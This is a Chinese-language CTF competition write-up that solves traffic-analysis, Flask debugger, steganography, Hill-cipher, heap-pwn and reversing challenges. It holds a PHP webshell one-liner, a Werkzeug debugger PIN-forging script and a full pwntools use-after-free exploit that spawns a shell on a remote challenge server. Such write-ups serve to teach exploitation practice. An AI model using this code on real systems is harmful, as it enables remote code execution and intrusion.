流量分析
这次流量分析不算难,可以轻易做出来
这里的记录就不仔细分析了,我还是耍了一些小聪明的
想学习的可以看我之前的文章
我就不粘链接了,懒。。。。
level-1
由于做过至少4~5次铁三的真题,所以对一般套路算是熟悉
这种要扫描器的,99%是awvs,直接交就对了,不行还能试试sqlmap也常考
level-2
这也是相对容易的题
直接过滤1
http.request.method=="POST"
因为登录99%是post
然后即可
level-3
还是同理,过滤就完事了1
http.request.method=="POST" and ip.src==192.168.94.59 and http contains "rec=login"
level-4
这显然还是post,过滤就完事了1
http.request.method=="POST" and ip.src==192.168.94.59
发现小马
看到密码是1234
为了追求速度,我直接尝试1
eval($_POST[1234]); @
编码一下交了,就过了
想找位置的可以自己再过滤一下,我为了抢一血XD
level-5
这个就更简单了,过滤就完事了1
http contains 'robots.txt'
点进去就是
level-6
直接看和a.php指令交互的respones即可
level-7
直接过滤就完事了1
mysql contains 'hash_code'
随便找一个Respones点进去拉到底下就是
level-8
直接过滤就完事了1
mysql contains 'ijnu'
随便找一个Respones点进去拉到底下就是md5
用cmd5要收费,用somd5解密即可
level-9
直接搜索1
http contains "eth0"
就完事了
level-10
这题我以为是重复题,交了level-3的答案,直接就过了,不过分析原理应该一致
level-11/level-12
这题彩蛋,两个一样的题
过滤了一下1
tcp
发现全是这俩ip
反正没有铁三那种次数限制,我就分别交了下
发现1
10.3.4.3
成功
web
粗心的程序员呀
发现只有debug信息和文件读取
那么只有一个可能了,pin码执行命令
参照这篇文章1
https://xz.aliyun.com/t/2553
即可秒掉
这里说几个坑
1.machine-id为空
2.
先知用的是py,这里要用pyc
3.username,这里读/etc/passwd可以发现ctf用户,就是它了
最后payload1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354'# str(uuid.getnode()), /sys/class/net/eth0/address
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
生成pin码,执行命令即可
MISC
暴力可解
很无聊的misc
题目暗示暴力可解,爆破压缩包密码即可
解开拿到两个图片,用stegsolve合并发现不行
于是很容易想到盲水印,然后就拿到flag了
都是ctf出烂的套路
Crypto
爬坡道(提交你找到的字符串的md5值)
很无聊的密码题,题目名暗示hill加密
拿到密文图片binwalk一下,发现key.png
在线解密即可
Pwn
Unote2
漏洞点在deleteNote,free掉以后没有清空指针,造成uaf1
2
3
4
5
6if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
addNote申请一个0x8 byte结构体,用于存放函数指针以及content,函数指针指向该处1
2
3
4
5
6
7
8int __cdecl sub_804865B(char *s)
{
size_t v1; // eax
v1 = strlen(s);
printf("length :%zu\ncontent :", v1);
return puts(s);
}
申请3个note,这样malloc了6个chunk,分别是1
2
3'A' 0x10 byte + size+0x10 byte
'B' 0x10 byte + size+0x10 byte
'C' 0x10 byte + size+0x10 byte
free掉两个1
head --> 'A' 0x10 --> 'B' 0x10
再申请一个note,这时就把free掉的chunk重新分配回来了,合适地构造leak出libc_base。
最后伪造一个fake node,当show这个node的时候就调用了system。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64#coding=utf8
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
local = 0
if local:
s = process('./note')
elf = ELF('./note')
libc = ELF('/root/toolchain/expmake/libc_x86')
else:
s = remote('101.71.29.5', 10010)
elf = ELF('./note')
libc = ELF('/root/toolchain/expmake/libc-2.23.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(size,con):
s.sendline('1')
s.recvuntil('Note size :')
s.send(str(size))
s.recvuntil('Content :')
s.send(con)
def dele(idx):
s.sendline('2')
s.recvuntil("Index :")
s.send(str(idx))
def show(idx):
s.send('3')
s.recvuntil("Index :")
s.send(str(idx))
add(0x20,'A')
add(0x20,'B')
add(0x20,'C')
dele(1)
dele(0)
#z('b*0x08048691\nc')
add(0x8,p32(0x804865B)+p32(elf.got['puts']))
show(1)
s.recvuntil("content :")
leak = s.recv(4)
libc.address = u32(leak) - libc.symbols['puts']
log.info("libc_base:0x%x"%libc.address)
dele(3)
add(0x8,p32(libc.symbols['system'])+p32(libc.search('/bin/sh').next()))
show(1)
s.interactive()
Re
定义了 3 个函数指针,第一个是交换两个数位置,第二个返回abs(x + y) - abs(x) - abs(y) + 2
,第三个返回abs(x) + abs(y) - abs(x + y) + 2
,然后 strcmp
比较前 5 个字符是否是flag{
,之后列了几个条件。
- a1[7] + a1[6] == a1[8]
- a1[10] + a1[9] == a1[11]
- a1[13] + a1[12] == a1[14]
- a1[16] + a1[15] == a1[17]
- a1[19] + a1[18] == a1[20]
- a1[8] ^ a1[11] ^ a1[14] ^ a1[17] ^ a1[21] == a1[5]
没法直接解上面的方程,继续往下看,通过一个函数来output
一个值。1
2
3
4res = 0;
for ( i = 6; i <= 19; i += 3 )
res = 100 * res + 10 * (*((char *)cin + i) - 48) + *((char *)cin + i + 1) - 48;
return res;
可以看到 100 和 10 等, 很明显是 10 进制左移 2 位,左移 1 位和不左移。
再往下是依次调用三个函数,实现 exchange
a[4]和 a[5],然后调用第二个,不影响。最后调用第三个,要使其返回 0 才能 getflag。|x|+|y|>=|x+y|,所以|x|+|y|-|x+y|+2>=2无解,但右边等于0x100000000能有解,即结果溢出了,所以可以使|x|==|y|==0x7fffffff
这样就求得了两个值,即 0x7fffffff和0x80000001,然后根据 getvalue
函数的返回值确定是正数,得到 a[5]是 0x7fffffff,即 2147483647。然后我们反求 flag 即可。
所以 flag 的 6,7 位是 21;9,10 位是47;12,13 位是48;15,16 位是36;18,19 位是47。再根据上面的方程解出第 8,11,14,17,20 位是 cklik,最后还有第 5,21 位。猜测 flag 长度就是 22,这样 21 位是},然后得到第五位是 p。
后记
题目挺容易的,这次主要突出一个流量分析吧~